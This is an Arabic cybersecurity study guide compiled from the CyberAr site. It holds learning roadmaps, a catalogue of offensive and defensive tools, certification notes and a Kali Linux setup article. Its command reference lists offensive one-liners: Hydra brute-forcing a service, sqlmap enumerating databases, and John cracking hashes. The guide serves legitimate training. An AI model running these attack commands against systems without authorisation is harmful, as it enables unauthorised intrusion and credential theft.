الدليل العربي للأمن السيبراني

كتاب مرجعي منظم من محتوى CyberAr

المصدر: رحومي البراهيم وموقع CyberAr

دليل القراءة والمحتويات

يجمع هذا الكتاب محتوى الموقع وبياناته وينظمه، مع نسب المقالات إلى صاحبها وروابط للمصادر الأصلية.

للتعلم على الأنظمة المصرح بها فقط. تحقق من حداثة المعلومات قبل الاستخدام. الكتب الخارجية فهرس فقط ولا تتضمن هذه النسخة ملفاتها؛ صفحة المكتبة تصف التحميل بأنه متاح قريبا.

1 / مسارات التعلم

2 / دليل الأدوات

3 / منصات التحديات

4 / موارد التعلم والشهادات

5 / فهرس الكتب

6 / مرجع الأوامر

7 / المقالات والأدلة

8 / صفحات إضافية ومصادر

9 / الترخيص والإسناد

مسارات التعلم

مسار المبتدئ — الأساسيات من الصفر

ابدأ رحلتك في الأمن السيبراني بفهم الأساسيات: الشبكات، نظام Linux، والبرمجة. مصمم للمبتدئين بدون أي خلفية تقنية.

المستوى: مبتدئ | المدة: 3-6 أشهر

الموضوعات: أساسيات الشبكات (TCP/IP, DNS, HTTP) • نظام Linux وسطر الأوامر • مقدمة في البرمجة (Python/Bash) • مقدمة في OWASP Top 10 فهم نظام التشغيل • مفاهيم التشفير الأساسية

مصادر مقترحة: Python for Everybody (Coursera) • OverTheWire Bandit • Linux Fundamentals (TryHackMe) • CompTIA Network+

المصدر الأصلي

مسار المتوسط — اختبار الاختراق و Bug Bounty

تعمق في اختبار الاختراق وأمن تطبيقات الويب. تعلم استخدام الأدوات المهنية وابدأ رحلتك في Bug Bounty Programs.

المستوى: متوسط | المدة: 6-9 أشهر

الموضوعات: اختبار اختراق تطبيقات الويب • Burp Suite باحترافية • OWASP Top 10 بعمق • Bug Bounty Methodology • SQL Injection, XSS, CSRF • Active Directory Attacks

مصادر مقترحة: PortSwigger Web Security Academy • HackTheBox • TryHackMe Offensive Path • PNPT Certification

المصدر الأصلي

مسار المتقدم — Red Team و Cloud Security

احترف عمليات Red Team، تحليل البرمجيات الخبيثة، وأمن السحابة. هذا المسار للمحترفين الراغبين في العمل على مستوى المؤسسات.

المستوى: متقدم | المدة: 9-12 شهر

الموضوعات: Red Team Operations • Malware Analysis & Reverse Engineering • Cloud Security (AWS/Azure/GCP) • Container Security (Docker/K8s) • Advanced Exploitation • OSCP / OSCE / CRTO

مصادر مقترحة: Offensive Security OSCP • SANS SEC660 • Zero Point Security CRTO • Cloud Security Alliance (CCSP)

المصدر الأصلي

دليل الأدوات

مصنفة حسب التخصص ومرتبة أبجديا داخل كل فئة. الأوصاف من قاعدة بيانات الموقع.

الشبكات

Masscan

أسرع ماسح منافذ في العالم. يفحص الإنترنت بالكامل في دقائق.

متقدم | AGPL-3.0 | Cross-platform | Port Scanner

المصدر الأصلي

Netcat

سكين الجيش السويسري للشبكات. أداة متعددة الاستخدامات لاتصالات TCP/UDP.

مبتدئ | GPL-2.0 | Cross-platform | Network Utility

المصدر الأصلي

Nmap

ماسح الشبكات الأشهر. يستخدم لاكتشاف المنافذ والخدمات ونظام التشغيل.

متوسط | GPL-2.0 | Cross-platform | Network Scanner

المصدر الأصلي

Wireshark

محلل حزم الشبكة. يلتقط ويفحص حركة المرور على الشبكة بعمق.

متوسط | GPL-2.0 | Cross-platform | Packet Analyzer

المصدر الأصلي

تطبيقات الويب

Burp Suite

المنصة الأشمل لاختبار اختراق تطبيقات الويب. تتضمن Proxy, Scanner, Intruder, Repeater.

متوسط | Community + Pro | Cross-platform (Java) | Web Security Scanner

المصدر الأصلي

Gobuster

أداة سريعة لفرض brute-force على المجلدات والملفات والنطاقات الفرعية.

متوسط | Apache-2.0 | Cross-platform (Go) | Directory Buster

المصدر الأصلي

Nikto

ماسنر ثغرات خوادم الويب. يفحص أكثر من 6700 ملف/برنامج خطير.

مبتدئ | GPL-2.0 | Cross-platform | Web Server Scanner

المصدر الأصلي

OWASP ZAP

بديل مفتوح المصدر لـ Burp Suite. ماسح أمان تطبيقات ويب آلي.

مبتدئ | Apache-2.0 | Cross-platform | Web Security Scanner

المصدر الأصلي

SQLMap

أداة كشف واستغلال ثغرات SQL Injection آليا. تدعم جميع قواعد البيانات الرئيسية.

متوسط | GPL-2.0 | Cross-platform | SQL Injection

المصدر الأصلي

الاستغلال

BloodHound

أداة رسم خرائط علاقات Active Directory. تكشف مسارات الهجوم المخفية.

متقدم | GPL-3.0 | Cross-platform | AD Analysis

المصدر الأصلي

Cobalt Strike

منصة Red Team تجارية لمحاكاة خصوم متقدمين (APT). تستخدم في عمليات المؤسسات.

متقدم | Commercial | Windows | Red Team Platform

المصدر الأصلي

CrackMapExec

أداة ما بعد الاستغلال لشبكات Active Directory. تجمع بين عدة أدوات في واجهة واحدة.

متقدم | GPL-3.0 | Linux | AD Post-Exploitation

المصدر الأصلي

Metasploit

إطار عمل اختبار الاختراق الأشهر. يحتوي على آلاف الاستغلالات والـ payloads.

متوسط | BSD-3-Clause | Cross-platform | Exploitation Framework

المصدر الأصلي

استخبارات المصادر المفتوحة

Maltego

أداة OSINT لاستخراج البيانات وتصورها من مصادر متعددة. تكشف العلاقات بين الكيانات.

متوسط | Commercial + Community | Cross-platform (Java) | OSINT Platform

المصدر الأصلي

Recon-ng

إطار عمل OSINT كامل مستوحى من Metasploit. وحدات قابلة للتوسيع.

متوسط | GPL-3.0 | Cross-platform | OSINT Framework

المصدر الأصلي

Sherlock

يبحث عن أسماء المستخدمين في أكثر من 400 شبكة اجتماعية ومواقع ويب.

مبتدئ | MIT | Cross-platform | Username OSINT

المصدر الأصلي

theHarvester

أداة OSINT لجمع عناوين البريد الإلكتروني، النطاقات الفرعية، والأسماء من مصادر عامة.

مبتدئ | GPL-2.0 | Cross-platform | OSINT

المصدر الأصلي

الشبكات اللاسلكية

Aircrack-ng

مجموعة أدوات كاملة لتقييم أمان شبكات WiFi. كسر تشفير WEP/WPA/WPA2.

متوسط | GPL-2.0 | Linux | WiFi Security

المصدر الأصلي

Wifite

أداة آلية لاختبار أمان الشبكات اللاسلكية. تختصر خطوات aircrack-ng المتعددة.

متوسط | GPL-2.0 | Linux | WiFi Automation

المصدر الأصلي

التحقيقات الرقمية

Autopsy

منصة تحقيقات جنائية رقمية مفتوحة المصدر. تحليل الأقراص والذاكرة.

متوسط | GPL-2.0 | Windows/Linux | Digital Forensics

المصدر الأصلي

Binwalk

أداة تحليل وتحليل firmware. تستخرج الملفات المضمنة في صور البرامج الثابتة.

متوسط | MIT | Cross-platform | Firmware Analysis

المصدر الأصلي

Volatility

إطار عمل تحليل ذاكرة الوصول العشوائي. استخراج البرمجيات الخبيثة من dumps الذاكرة.

متقدم | GPL-2.0 | Cross-platform | Memory Forensics

المصدر الأصلي

كلمات المرور

Hashcat

أسرع أداة لكسر كلمات المرور في العالم. تدعم أكثر من 300 خوارزمية hashing.

متقدم | MIT | Cross-platform | Password Cracker

المصدر الأصلي

Hydra

أداة brute-force للشبكات. تدعم SSH, FTP, HTTP, RDP وأكثر.

متوسط | GPL-3.0 | Cross-platform | Network Login Cracker

المصدر الأصلي

John the Ripper

كاسر كلمات المرور الكلاسيكي. يدعم مئات أنواع hashes وأنماط متعددة.

متوسط | GPL-2.0 | Cross-platform | Password Cracker

المصدر الأصلي

منصات التحديات

HackTheBox

منصة عالمية لاختبار الاختراق. آلات (machines) حقيقية، تحديات، ومسابقات.

متوسط - متقدم | English | Practice Platform | مجاني + VIP

المصدر الأصلي

OverTheWire

تحديات wargames للتعلم عبر SSH. Bandit للمبتدئين، Narnia/Behemoth للمتقدمين.

مبتدئ - متقدم | English | Wargames | مجاني

المصدر الأصلي

PicoCTF

أكبر مسابقة CTF سنوية للطلاب من Carnegie Mellon. مناسبة للمبتدئين.

مبتدئ - متوسط | English | CTF Competition | مجاني

المصدر الأصلي

PortSwigger Web Security Academy

أكاديمية أمن الويب المجانية من مطوري Burp Suite. مختبرات تفاعلية مجانية 100%.

مبتدئ - متقدم | English | Free Academy | مجاني

المصدر الأصلي

Root Me

منصة فرنسية تضم تحديات متنوعة في جميع مجالات الأمن السيبراني.

متوسط - متقدم | French/English | Practice Platform | مجاني

المصدر الأصلي

TryHackMe

منصة تعليمية تفاعلية بمحتوى موجه للمبتدئين والمحترفين. غرف (rooms) بتوجيه خطوة بخطوة.

مبتدئ - متقدم | English | Learning Platform | مجاني + Premium

المصدر الأصلي

موارد التعلم والشهادات

قنوات الفيديو

IppSec

الأفضل في walkthroughs HackTheBox. يشرح تقنيات الاختراق خطوة بخطوة.

English | 500K+

المصدر الأصلي

John Hammond

قناة متخصصة في CTFs، تحليل البرمجيات الخبيثة، ومحتوى تقني عميق.

English | 500K+

المصدر الأصلي

NetworkChuck

قناة ممتازة للمبتدئين. محتوى عملي وشيق عن الأمن السيبراني والشبكات.

English | 3M+

المصدر الأصلي

The Cyber Mentor

قناة Heath Adams. محتوى عن Ethical Hacking، Bug Bounty، والتحضير للشهادات.

English | 1M+

المصدر الأصلي

مجتمع iSecur1ty

مجتمع عربي رائد في الأمن السيبراني. محتوى تعليمي ومقالات بالعربية.

Arabic | 100K+

المصدر الأصلي

محمد عيسى | M7modReda

قناة عربية ممتازة في الأمن السيبراني و Bug Bounty.

Arabic | 50K+

المصدر الأصلي

الدورات

Coursera - Google Cybersecurity Certificate

شهادة مهنية من Google تغطي أساسيات الأمن السيبراني.

مجاني + شهادة مدفوعة | مبتدئ

المصدر الأصلي

HackTheBox Academy

دورات تفاعلية مع مختبرات متخصصة في مجالات محددة.

مجاني + Premium | متوسط - متقدم

المصدر الأصلي

PortSwigger Web Security Academy

دروس مجانية شاملة في أمان تطبيقات الويب من خبراء Burp Suite.

مجاني | مبتدئ - متقدم

المصدر الأصلي

SANS Cyber Aces

دورات مجانية في أساسيات الأمن السيبراني من SANS Institute.

مجاني | مبتدئ

المصدر الأصلي

TryHackMe Premium

مسارات تعلم منظمة من الصفر للاحتراف مع مختبرات تفاعلية.

$10/شهر | مبتدئ - متقدم

المصدر الأصلي

كتب ومراجع

المرجع الأشمل لاختبار اختراق تطبيقات الويب. طبعة ثانية.

The Web Application Hacker's Handbook | Stuttard & Pinto | 2011 | متوسط - متقدم

كتاب عميق يستكشف البرمجة، الشبكات، والاستغلال من الأساس.

Hacking: The Art of Exploitation | Jon Erickson | 2008 | متوسط - متقدم

دليل عملي لاختبار الاختراق بأسلوب كرة القدم. أحدث تقنيات الهجوم.

The Hacker Playbook 3 | Peter Kim | 2018 | متوسط

مرجع سريع للأوامر والتقنيات المستخدمة في Red Team.

Red Team Field Manual (RTFM) | Ben Clark | 2014 | متوسط - متقدم

مقدمة شاملة لاختبار الاختراق. ممتاز للمبتدئين والمتوسطين.

مبتدئ - متوسط | 2014 | Georgia Weidman | Penetration Testing

دليل تقييم أمان الشبكات. تقنيات استطلاع متقدمة.

متقدم | 2016 | Chris McNab | Network Security Assessment

الشهادات المهنية

CEH (Certified Ethical Hacker)

شهادة EC-Council في الاختراق الأخلاقي. مطلوبة في سوق العمل.

متوسط | +$1,199

CompTIA Security+

شهادة أساسية معترف بها عالميا. نقطة دخول ممتازة للمهنة.

مبتدئ | $390

CRTO (Certified Red Team Operator)

شهادة متقدمة في عمليات Red Team من Zero Point Security.

متقدم | $549

OSCP (Offensive Security Certified Professional)

الأكثر طلبا في اختبار الاختراق العملي. امتحان 24 ساعة.

متقدم | $1,749

PNPT (Practical Network Penetration Tester)

شهادة عملية من TCM Security. تركز على Active Directory.

متوسط | $499

فهرس الكتب

العناوين والأوصاف من فهرس الموقع. الإشارة إلى عنوان لا تعني توفر نسخة مجانية أو منح حقوق إعادة توزيع. راجع الناشر أو مكتبة مشروعة.

Bug Bounty

Bug Bounty Course - Vol 1

أساسيات Bug Bounty: كيف تبدأ، المنصات، منهجية البحث.

English | Bug Bounty, Web Security | مبتدئ

Bug Bounty Course - Vol 3

تقنيات متقدمة في Bug Bounty: أتمتة، recon، كتابة تقارير.

English | Bug Bounty, Automation | متوسط

Bug Bounty Course - Vol 5

تطبيقات ويب متقدمة، ثغرات API، ومنطق الأعمال.

English | Bug Bounty, API, Business Logic | متوسط

Bug Bounty Course - Vol 6

تقنيات متقدمة في Reconnaissance وتعداد Subdomains.

English | Bug Bounty, Recon | متوسط

Bug Bounty Course - Vol 7

Android Hacking. و Mobile Application Security

English | Bug Bounty, Mobile, Android | متقدم

Bug Bounty Course - Vol 8

OAuth, Authentication bugs, و Session Management.

English | Bug Bounty, Authentication, OAuth | متقدم

Bug Bounty Course - Vol 9

تقنيات الـ Chaining، التصعيد، وكسب مكافآت أكبر.

English | Bug Bounty, Chaining | متقدم

Bug Bounty Training Program

برنامج تدريبي متكامل للانتقال من مبتدئ إلى محترف في Bug Bounty.

English | Bug Bounty, Training | متوسط

المصدر الأصلي

Hacker Roadmap - Hack Everything

خارطة طريق شاملة لتعلم اختبار الاختراق من الصفر للاحتراف.

English | Roadmap, Learning Path | مبتدئ

المصدر الأصلي

Must-Have Tools for Bug Bounty Hunters

دليل الأدوات الأساسية لكل باحث Bug Bounty ومختبر اختراق.

English | Bug Bounty, Tools | مبتدئ

Kali Linux

Kali Linux - Complete Reference

المرجع الشامل لـ Kali Linux: التثبيت، الأدوات، الاستخدامات.

English | Kali Linux, Pentesting, Tools | متوسط

أمن تطبيقات الويب

Bypasses for the most popular WAFs

تقنيات تجاوز جدران حماية تطبيقات الويب (Cloudflare, Akamai, AWS WAF).

English | WAF, Bypass, Web Security | متقدم

Encryption vs Hashing vs Encoding

الفرق الجوهري بين التشفير والهاش والترميز — أساسيات لكل مختص.

English | Cryptography, Encryption, Hashing | مبتدئ

Python للاختراق

Black Hat Python

كتاب مشهور عن استخدام Python في الاختراق الأخلاقي: بناء أدوات، شبكات، استغلال، ويب.

English | Python, Hacking, Networking | متوسط

المصدر الأصلي

Ethical Hacking with Python

بناء أدوات اختبار اختراق احترافية باستخدام Python.

English | Python, Hacking, Tools Development | متوسط

Red Team

Antivirus Hacker's Handbook

دليل عميق لكيفية عمل برامج مكافحة الفيروسات وكيفية تجاوزها. مرجع أساسي لمحلل البرمجيات الخبيثة.

English | Malware, Reverse Engineering, Antivirus Bypass | متقدم

Autopsy for Kali Linux

دليل استخدام Autopsy كأداة تحقيقات جنائية رقمية على Kali Linux.

English | Forensics, Autopsy, Investigation | متوسط

From Day Zero to Zero Day

رحلة اكتشاف ثغرة Zero-Day: من نقطة البداية إلى نشر الاستغلال.

English | Zero-Day, Vulnerability Research, Exploit Development | متقدم

Metasploit - 2nd Edition

المرجع الشامل لـ Metasploit: من الأساسيات إلى الاستغلال المتقدم.

English | Metasploit, Exploitation, Framework | متوسط

Red Team Toolkit

مجموعة الأدوات الأساسية لعمليات Red Team.

English | Red Team, Tools, C2 | متقدم

The Red Team Guide

دليل شامل لعمليات Red Team: التخطيط، التنفيذ، التقارير.

English | Red Team, Operations, Adversary Simulation | متقدم

Linux

Linux Basics for Hacking

.من منظور اختبار الاختراق: الأساسيات اللي تحتاجها للبدء Linux

English | Linux, Hacking, Beginner | مبتدئ

Linux Command Cheatsheet

ورقة مرجعية سريعة لأهم أوامر Linux.

English | Linux, Cheat Sheet, Commands | مبتدئ

Linux Security Fundamentals

أساسيات تأمين Linux: الصلاحيات، AppArmor، SELinux، التحديثات.

English | Linux Security, Hardening, SELinux | متوسط

الشبكات

Networking Fundamentals

أساسيات الشبكات: TCP/IP, DNS, HTTP, Subnetting. ضروري قبل أي اختبار اختراق.

English | Networking, TCP/IP, DNS | مبتدئ

والاسلكي WiFi

WiFi Hacking

اختراق شبكات WiFi: WEP, WPA, WPA2, WPS — تقنيات عملية.

English | WiFi, WPA2, Wireless | متوسط

WiFi Hacking Notes

ملاحظات سريعة عن اختراق الشبكات اللاسلكية.

English | WiFi, Notes | مبتدئ

SOC & Detection

Open-Source Security Operations Center

بناء SOC باستخدام أدوات مفتوحة المصدر.

English | SOC, Open Source, SIEM | متوسط

SOC Security Operation

أساسيات العمل في Security Operations Center: SIEM، Alerts، Incident Response.

English | SOC, SIEM, Incident Response | متوسط

شهادات مهنية

CompTIA Security+ SY0-701 Cheat Sheet

ورقة مراجعة سريعة لامتحان CompTIA Security+ أحدث إصدار.

English | Security+, Cheat Sheet, Certification | مبتدئ

المصدر الأصلي

OSINT

Google Darks Cheat Sheet

كل Google Dorking operators مع أمثلة — أداة OSINT لا غنى عنها.

English | Google Dorks, OSINT, Recon | مبتدئ

Information Gathering with Dmitry

دليل استخدام أداة Dmitry لجمع المعلومات (OSINT).

English | OSINT, Reconnaissance, Dmitry | مبتدئ

صفحة المكتبة الأصلية

مرجع الأوامر

الأوامر من قاعدة بيانات الموقع. نفذها فقط في بيئة مصرح بها وبعد مراجعة سياقها.

معلومات النظام

عرض معلومات النظام والنواة — uname -a

عرض اسم المستخدم الحالي — whoami

عرض معرف المستخدم والمجموعات — id

عرض اسم الجهاز — hostname

مدة تشغيل النظام — uptime

التنقل

طباعة مجلد العمل الحالي — pwd

قائمة الملفات مع التفاصيل — ls -la

تغيير المجلد — cd /path

البحث عن ملف في النظام — find / -name 'file'

الملفات

عرض محتوى ملف — cat file.txt

تحرير ملف في المحرر — nano file.txt nano

تغيير صلاحيات الملف — chmod 755 file

تغيير ملكية الملف — chown user:group file

البحث عن نص في ملف — grep 'pattern' file

الشبكات

عرض واجهات الشبكة وعناوين IP — ifconfig / ip a

فحص اتصال الشبكة — ping host

عرض المنافذ المفتوحة والخدمات — netstat -tulnp

بديل أحدث لـ netstat — ss -tulnp

جلب ترويسات HTTP — curl -I https://url

تنزيل ملف من الإنترنت — wget url

اختبار الاختراق

فحص المنافذ والخدمات الافتراضية — nmap -sV -sC target

(فحص جميع المنافذ (65535 — nmap -p- target

اكتشاف المجلدات والملفات المخفية — gobuster dir -u url -w wordlist

كشف واستغلال SQL Injection — sqlmap -u 'url' --dbs

هجوم brute-force على خدمة — hydra -L users.txt -P pass.txt target service

كسر كلمات المرور — john --wordlist=rockyou.txt hash.txt

المقالات والأدلة

مقالات الموقع مرتبة من الأساسيات إلى التخصصات ثم مراجعات الكتب والذكاء الاصطناعي. الأكواد والأمثلة للاستخدام القانوني فقط.

دليل التثبيت الكامل - Kali Linux

المصدر الأصلي

؟ ما هي Kali Linux؟

مصممة خصيصا لـ اختبار الاختراق الأخلاقي . تحتوي على أكثر من 600 Debian-based هي توزيعة Kali Linux أداة أمان مثبتة مسبقا.

Nmap, Wireshark

Burp Suite, ZAP

Metasploit, sqlmap

تحميل Kali Linux

- روح kali.org/get-kali
- اختر إصدار Installer Images (مو Live - تحتاج تثبيت كامل)
- للـ VM اختر Installer) Kali Linux 64-Bit)
- حمل ملف ISO) ~4GB)
- تحقق من الـ SHA256 للتأكد إن الملف ما تالف

نصيحة: لا تستخدم Kali على جهازك الأساسي كـ primary OS. استخدمها في Virtual Machine لعزل آمن.

إعداد VMware Workstation

1. إنشاء VM جديد

- File → New Virtual Machine
- اختر (recommended Typical)
- اختر ISO (Installer disc image file)
- اختر ملف Kali ISO اللي حملته
- اختر Linux → Debian 11/12 64-bit
- اسم: Kali Linux
- Disk: 50GB 100 (الأفضل على الأقلGB)
- Customize Hardware: RAM: 4GB 8) كحد أدنىGB أفضل) CPUs: 2 على الأقل Network: NAT

2. تثبيت Kali

• شغل VM

• اختر Graphical Install

• اختر اللغة: English (الواجهة الرسومية أسهل)

• Keyboard: Arabic أو English

• Hostname: kali

• Domain name: اتركه فارغ

• كلمة مرور root: اختر كلمة قوية!

• Disk partitioning: Guided - use entire disk

• انتظر التثبيت (10-15 دقيقة)

• Reboot

ما بعد التثبيت (5 أشياء فورا)

1. تحديث النظام

```
sudo apt update && sudo apt upgrade -y
sudo apt dist-upgrade -y
```

2. تثبيت VMware Tools

```
sudo apt install open-vm-tools-desktop -y
sudo reboot
```

هذا يحسن: نسخ/لصق، دقة الشاشة، مشاركة الملفات.

3. إنشاء user غير root (للأمان)

```
sudo adduser pentester
sudo usermod -aG sudo pentester
```

4. تثبيت أدوات إضافية

```
sudo apt install -y gedit git curl wget vim
sudo apt install -y gobuster ffuf burpsuite
```

5. تفعيل snapshots

في VMware: VM → Snapshot → Take Snapshot

لو خربطت النظام، ترجع للـ snapshot بنقرة واحدة.

بدائل لـ Kali Linux

Parrot Security OS

أخف من Kali، واجهة أجمل. مناسب للـ daily driver.

BlackArch

Arch-based، 2300+ أداة. للمحترفين فقط.

TryHackMe AttackBox

جاهز في المتصفح، ما يحتاج تثبيت VM.

HackTheBox Pwnbox

في المتصفح مع كل الأدوات مثبتة VM.

نصائح أمان مهمة

- لا تستخدم Kali للتصفح اليومي - فيه أدوات هجوم
- لا تخزن بيانات حقيقية على Kali
- استخدم VPN على الـ Host network
- حدث باستمرار - الثغرات في Kali = ثغرات لك
- اعمل snapshot نظيف بعد التثبيت مباشرة
- اقرأ /usr/share/doc/* لتعلم كل أداة

روابط وردت في المقال

https://www.kali.org/get-kali/

دليلك لاحتراف الأمن السيبراني - Hacker Roadmap

المصدر الأصلي

ليش تحتاج Roadmap؟ !

أكبر مشكلة للمبتدئ في الأمن السيبراني: يبدأ يدرس كل شي عشوائيا، يضيع وقت، يحبط، ويوقف.

الـ Roadmap يحل هالمشكلة: يقول لك بالضبط شو تدرس أولا، شو ثانيا، وأي مصادر . بدون خارطة طريق، أنت تتسلق جبل بدون GPS.

الفكرة الأساسية:

الأمن السيبراني مجال واسع جدا . مستحيل تحترفه كله. اختر تخصص (Web, Network, Mobile, Cloud...) وركز فيه. الـ Roadmap يساعدك تحدد طريقك.

المرحلة 1: الأساسيات (شهر 1-3) 1

قبل ما تفكر في اختراق أي شي، لازم تفهم الأساس. بدونها، رح تواجه صعوبة في كل ما بعد.

أساسيات الشبكات

افهم كيف الإنترنت يشتغل: TCP/IP, DNS, HTTP, HTTPS, IP addresses.

مصادر مقترحة:

• • Professor Messer Network+ (YouTube مجاني)

• • كتاب Networking Fundamentals (متاح في مكتبتنا)

أساسيات Linux

90% من أدوات الاختراق تشتغل على Linux. اتعلم: navigation, file ops, permissions, shell scripting.

مصادر مقترحة:

• • كتاب The Linux Command Line (مراجعتنا موجودة)

• • OverTheWire Bandit (تحديات عملية)

• • TryHackMe Linux Fundamentals

أساسيات البرمجة

ابدأ بـ Python - اللغة الأكثر استخداما في الأمن السيبراني. اتعلم basics، functions، networking، file I/O.

مصادر مقترحة:

• • Python.org Tutorial

• • Automate the Boring Stuff (مجاني)

• • كتاب Black Hat Python (متاح في مكتبتنا)

2 المرحلة 2: أساسيات الاختراق (شهر 4-6)

إعداد بيئة الاختبار

ثبت Kali Linux في VM. تعلم كيف تشغل وتختبر أدوات أساسية (nmap, burp, wireshark).

تعلم على منصات تدريب

لا تطبق على أهداف حقيقية! استخدم منصات قانونية: TryHackMe, HackTheBox, PortSwigger Academy.

ابدأ بـ TryHackMe - مناسب للمبتدئين مع توجيه خطوة بخطوة.

تعلم OWASP Top 10

افهم أخطر 10 ثغرات في تطبيقات الويب. عندنا مقال مخصص عنهم .

3 المرحلة 3: اختر التخصص (شهر 7-12)

هنا تختار تخصصك بناء على اهتمامك:

Web Application Security

اختبار اختراق تطبيقات الويب - الأكثر طلبا في سوق العمل.

• • Burp Suite باحترافية

• • XSS, SQLi, CSRF, IDOR

• • Bug Bounty على HackerOne

Network Penetration Testing

اختراق الشبكات والبنية التحتية.

• • Active Directory

• • Metasploit

• • OSCP certification

Malware Analysis

تحليل البرمجيات الخبيثة وفهم سلوكها.

• • Reverse Engineering

• • IDA Pro, Ghidra

• • Memory Forensics

Cloud Security

تأمين بيئات AWS, Azure, GCP.

• • AWS Security Specialty

• • Container Security

• • Kubernetes Hardening

4 المرحلة 4: الاحتراف (سنة 2+)

الشهادات المهنية المهمة

CompTIA Security+

شهادة تأسيسية معترف بها عالميا

CEH - Certified Ethical Hacker

مطلوبة في سوق العمل

OSCP

الأكثر طلبا - اختبار اختراق عملي 24 ساعة

PNPT / CRTO

Active Directory + Red Team

نصائح ذهبية

1. تدرب يوميا، حتى 30 دقيقة

الاستمرارية أهم من الكمية. ساعة كل يوم أفضل من 10 ساعات يوم واحد في الأسبوع.

2. طبق كل شي تتعلمه

ما تكتف بالقراءة. كل مفهوم جديد، افتح VM وجربه بيدك.

3. وثق رحلتك

اكتب ملاحظاتك. أنشئ مدونة. هذا يساعدك تثبت المعلومة ويعطيك Portfolio قوي.

4. انضم لمجتمع

تعلم لوحدك صعب. انضم لقنواتنا في Discord، Telegram، وTwitter. اسأل، شارك، تعلم من غيرك.

ملاحظة عن المصدر: هذا الملخص معد بأسلوب تعليمي مستفيدا من كتاب "Hacker Roadmap: Hack Everything, Own the Web" . الكتاب مرجع ممتاز للتوسع المتاح في مكتبة الموقع.

روابط وردت في المقال

https://iraqrahomi.github.io/pages/blog.html

https://iraqrahomi.github.io/pages/books.html

ملخص CompTIA Security+ SY0-701

المصدر الأصلي

؟ ليش Security+ مهمة؟

معتمدة من وزارة الدفاع الأمريكية

تستوفي متطلبات Directive 8140.03-M — أي شركة/جهة حكومية أمريكية تطلبها لوظائف الأمن السيبراني.

تتوافق مع ISO 17024

معيار دولي للشهادات المهنية، فتقبل في كل دول العالم تقريبا.

700,000+ حامل

واحدة من أكثر شهادات الأمن السيبراني انتشارا — أصحاب العمل يعرفونها.

تغطي المهارات اليومية

تطبيق عملي مباشر: تقييم وضع المؤسسة، مراقبة بيئات Hybrid، التعامل مع الحوادث.

5 المجالات الخمسة ووزنها

1. المفاهيم الأمنية العامة

General Security Concepts

المحتوى: CIA Triad، ضوابط الأمان، إدارة التغييرات، أساسيات التشفير، Zero Trust.

2. التهديدات والثغرات والتخفيف

Threats, Vulnerabilities, and Mitigations

المحتوى: أنواع المهاجمين، Malware، ثغرات التطبيقات، Threat Intelligence، تقنيات التخفيف.

3. البنية الأمنية

Security Architecture

المحتوى: تصميم الشبكات الآمنة، IoT، Virtualization، Cloud Security، الحوسبة بدون خوادم Serverless.

4. العمليات الأمنية

Security Operations — أكبر نسبة!

المحتوى: Automation، IAM، Hardening، Backup، Forensics، Incident Response، SIEM.

5. إدارة البرنامج والإشراف

Security Program Management and Oversight

المحتوى: Governance, Risk, Compliance (GRC)، Auditing، Vendor Management، Awareness Training.

أهم المصطلحات في المجال 1

المصطلح | المعنى

الركائز الثلاث للأمن - CIA Triad | Confidentiality, Integrity, Availability

نظام التحكم بالوصول - AAA | Authentication, Authorization, Accounting

استحالة إنكار تنفيذ فعل - مثال: التوقيع الرقمي | Non-repudiation

لا تثق بأحد، تحقق دائما من الجميع | Zero Trust

تحليل الفجوات بين الوضع الحالي والمرغوب | Gap Analysis

البنية التحتية للمفاتيح - PKI | Public Key Infrastructure

شريحة أمان في الأجهزة - TPM | Trusted Platform Module

جهاز مخصص للتشفير - HSM | Hardware Security Module

إخفاء بيانات داخل بيانات أخرى | Steganography

إضافة نص عشوائي لكلمة المرور قبل | Salting hashing

سجل رقمي لامركزي مرتبط بـ | Blockchain hashes

طرق التحقق من صلاحية الشهادات الرقمية | CRL/OCSP

أنواع ضوابط الأمن

هذا سؤال كلاسيكي في الامتحان: صنف الضابط حسب النوع.

الفئات:

• Technical: Firewall, Encryption, IDS/IPS

• Managerial: Policies, Procedures, Risk Assessment

• Operational: Security Guards, Awareness Training

• Physical: Locks, Fences, CCTV, Mantraps

الأنواع:

• Preventive: Firewall - يمنع قبل حدوثه

• Deterrent: Warning signs - يردع

• Detective: CCTV, Logs - يكتشف

• Corrective: Backups, Patches - يصلح بعد

• Compensating: بديل لو الحل الأساسي غير متاح

• Directive: Policies توجه السلوك

تقنيات الخداع (Deception Technology)

Honeypot

نظام واحد وهمي لجذب المهاجم ودراسته

Honeynet

شبكة كاملة من الأنظمة الوهمية

Honeyfile

ملف وهمي يبدو حساس (مثل passwords.txt)

Honeytoken

بيانات اعتماد وهمية - لو استخدمت = اختراق

التشفير - أساسيات

Symmetric (واحد مفتاح - متماثل)

النوع | الخوارزميات

Streaming | RC4

Block | DES, 3DES, Blowfish, AES

اعتبارات | Key length, Block size, Number of rounds

Asymmetric (مفتاحان - غير متماثل)

خوارزميات:

• • RSA

• • Diffie-Hellman

• • Elliptic Curve Cryptography (ECC)

الاستخدامات:

• • التوقيعات الرقمية

• • تبادل المفاتيح

• • Certificates (SSL/TLS)

الفرق بين المفاهيم:

• Hashing: أحادي الاتجاه - لا يمكن عكسه (SHA-256). للسلامة Integrity.

• Encryption: ثنائي الاتجاه - يمكن فكه بمفتاح. للسرية Confidentiality.

• Encoding: تنسيق فقط - للقراءة (Base64). ليس أمان!

• Tokenization: استبدال البيانات الحساسة ببدائل غير حساسة

• Data Masking: استبدال بيانات حقيقية بوهمية

نصائح لاجتياز الامتحان

1. ركز على المجال 4 (28%)

العمليات الأمنية هي الأكبر — احترفها أكثر من غيرها.

2. حل أسئلة PBQ أولا

Performance-Based Questions (أسئلة سيناريو عملي) لها وزن أكبر - حلها أولا.

3. احفظ المصطلحات لا التفاصيل

الامتحان يختبر الفهم. افهم "لماذا" أكثر من "كيف".

4. استعمل Jason Dion أو Mike Meyers

دوراتهم على Udemy هي الأفضل لتغطية SY0-701. تدرب على اختباراتهم الكاملة.

5. لا تدرس في اليوم السابق

خبرتك السابقة أهم من ليلة واحدة من المراجعة. استرح جيدا قبل الامتحان.

ما بعد Security+؟

CySA+

تحليل أمني متقدم - الخطوة التالية المنطقية

CEH

اختراق أخلاقي - مطلوب في سوق العمل

OSCP

الأقوى والأكثر طلبا - اختبار 24 ساعة

روابط وردت في المقال

https://www.comptia.org/certifications/security

https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/

https://www.offensive-security.com/pwk-online/

أخطر 10 ثغرات ويب - OWASP Top 10

المصدر الأصلي

؟ ما هي OWASP Top 10؟

